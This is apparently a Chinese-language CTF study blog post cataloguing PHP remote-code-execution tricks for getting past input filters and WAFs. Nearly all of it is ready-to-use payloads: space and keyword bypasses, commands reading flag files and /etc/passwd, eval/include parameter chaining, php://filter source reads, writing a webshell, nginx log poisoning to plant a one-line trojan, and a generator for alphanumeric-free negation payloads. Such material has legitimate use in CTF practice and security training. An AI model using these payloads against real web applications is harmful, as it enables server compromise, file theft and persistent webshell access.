PHP的RCE中一些小技巧
空格过滤绕过
1、大括号{}:
{cat,flag.php}
2、$IFS代替空格:
$IFS$9,${IFS},$IFS这三个都行
Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符 (internal field separator)。
?cmd=ls$IFS-I
单纯$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名
?cmd=ls${IFS}-l
$IFS$9后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者始终为空字符串。
?cmd=ls${IFS}$9-l
3、重定向字符<,<>
4、%09绕过(相当于Tab键)(可以搭配/fl* 使用)
文件名过滤绕过
1、??和绕过
过滤flag文件名用??和绕过
以上指令等效于cat /flag
2、单引号(‘)双引号(“”)反引号(``)反斜杠()绕过正则
1 2 3
| cat /fl""ag c""at /e't'c/pas``s``wd passthru('cat /fl""ag.p\'\'hp')
|
对php来说这是fl””ag而不是flag关键字不会匹配上,但是对于linux系统来说cat /fl””ag等效于cat /flag。外面包裹的是单引号里面就是双引号,外面包裹的是双引号里面就是单引号,或者用斜线\去掉功能性(如preg_match中对于标点的过滤就是使用的\去掉功能性),避免报错
3、特殊变量:$1到$9、$@和$*
这些特殊变量输出为空,或者在单词结尾处插入$x,这里的x可以是任意字母
1 2 3 4 5
| cat /fl$9ag cat /fl$@ag c$@at /e$@tc/pas$@swd cat$x /etc$x/passwd$x ca$@t /etc$x/passwd$x
|
4、拼接绕过
1 2
| a=c;b=a;c=t;$a$b$c /flag.txt a=f;c=a;d=g;b=l;cat $a$b$c$d.php
|
6、利用linux中的环境变量
使用环境变量里的字符执行变量
1
| echo $PATH #PATH默认系统环境变量
|
1 2 3 4
| /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
echo f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1} 表示flag.php
|
比如${PATH:5:1}指的是取路径的第五位(从0开始数,第0位是/)的字符,步长为1,即只取一个字母l,以此类推就能拼接成关键字flag.php
没有单独的WAF用preg_match进行waf的
1、直接执行系统命令
1
| ?c=system("tac%20fla*"); tac绕过cat检测利用tac与system结合,拿到flag 只有用tac的时候才可以用fla*来代替
|
2、内敛执行 (反字节符)
注意结尾的分号,有反字节符,要核对一下是否转义。 利用echo命令和tac相结合来实现。flag采用*绕过。`` 是反字符节
3、利用参数输入+eval
1
| ?c=eval($_GET[1]);&1=phpinfo();
|
1
| ?c=eval($_GET[1]);&1=system('ls');
|
注意上一行结尾的分号都不能省略。因为是以php代码形式来执行的。
4、利用参数输入+include
这里的eval也可以换为include,并且可以不用括号。但是仅仅可以用来读文件了。
1
| ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
|
也可以尝试写入木马 file_put_contents(“123.php”,%20%27%27); 访问123.php,然后就可以连马。可以利用已知的其他函数来凑出所需要的字符串来绕过
5.利用已知的其他函数来 凑出 所需要的字符串来绕过
使用pos(localeconv)来获取小数点
localeconv可以返回包括小数点在内的一个数组;pos去取出数组中当前第一个元素,也就是小数点。 scandir可以结合它扫描当前目录内容。
?c=print_r(scandir(pos(localeconv()))); 可以看到当前目录下有flag.php 通过array_reverse把数组逆序,通过next取到第二个数组元素,也即flag.php
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| getcwd() 函数返回当前工作目录。它可以代替pos(localeconv()) localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"." pos():输出数组第一个元素,不改变指针; current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样 scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录 array_reverse():数组逆置 next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以 show_source():查看源码 pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。 current()返回数组中的当前元素的值。 end()将内部指针指向数组中的最后一个元素,并输出。 next()将内部指针指向数组中的下一个元素,并输出。 prev()将内部指针指向数组中的上一个元素,并输出。 reset()将内部指针指向数组中的第一个元素,并输出。 each()返回当前元素的键名和键值,并将内部指针向前移动。 get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。 next()将内部指针指向数组中的下一个元素,并输出。 array_pop() 函数删除数组中的最后一个元素并返回其值。
|
6.利用已知函数 直接 绕过
使用时,需要配合print或者echo使用
1 2 3 4
| payload echo(var_dump(scandir("/"))); echo(var_dump(file("/flag"))); echo(var_dump(scandir(chr(47).chr(20))));
|
1 2 3 4 5 6 7 8 9 10
| 已知函数 部分常用函数在waf中可能会被过滤掉,需要用一些其它的函数来实现。 var_dump() 用于返回数据的类型和值 GLOBALS:全局变量,打印该变量可以显示该php中的所有变量值 chr() ASCII范围的整数转字符 file_get_contents() 顾名思义获取一个文件的内容,替代system('cat flag;') scandir() 扫描某个目录并将结果以array形式返回,配和vardump 可以替代system('ls;') scandir() 函数返回指定目录中的文件和目录的数组。 file() chr().chr() phpinfo()
|
7.使用未被过滤的命令。passthru直接读取
1 2
| ?c=passthru(%22tac$IFS$9fla*%22); ?c=passthru("tac\$IFS\$9fla*");
|
8.日志注入
1
| ?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log
|
/var/log/nginx/access.log是nginx默认的access日志路径,访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可
9.awk
1
| ?c=awk '{printf $0}' flag.php||
|
10.异或、取反、自增、临时文件
可以参考
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://mp.weixin.qq.com/s/fCxs4hAVpa-sF4tdT_W8-w
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.cnblogs.com/cimuhuashuimu/p/11546422.html
这里只写取反的方法,这些方法适用于过滤了所有字母的RCE题目,例如
1 2 3 4 5 6 7 8
| <?php highlight_file(__FILE__); $code = $_GET['code']; if(preg_match("/[A-Za-z0-9]+/",$code)){ die("hacker!"); } @eval($code); ?>
|
payload如下,可以使用system、passthru等函数
1 2 3 4 5 6 7 8 9 10
| <?php
fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
|
含有单独的WAF
可以参考php解析字符串特性
php解析时
1.删除前后的空白符(空格符,制表符,换行符等统称为空白符)
2.将某些字符转换为下划线(包括空格)
num _num +num这些会统一解析为num,认为是同一个变量,但是waf读取是传入什么就是什么,也就是说waf判断num的参数传入内容,_num +num num 这样就能绕过waf。
例题
waf

源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>
|
在js的waf中对 num 的解析就是其传入的,但是php中对 num的解析就变成了num
Written by lzz0403
A New player. Keep learning!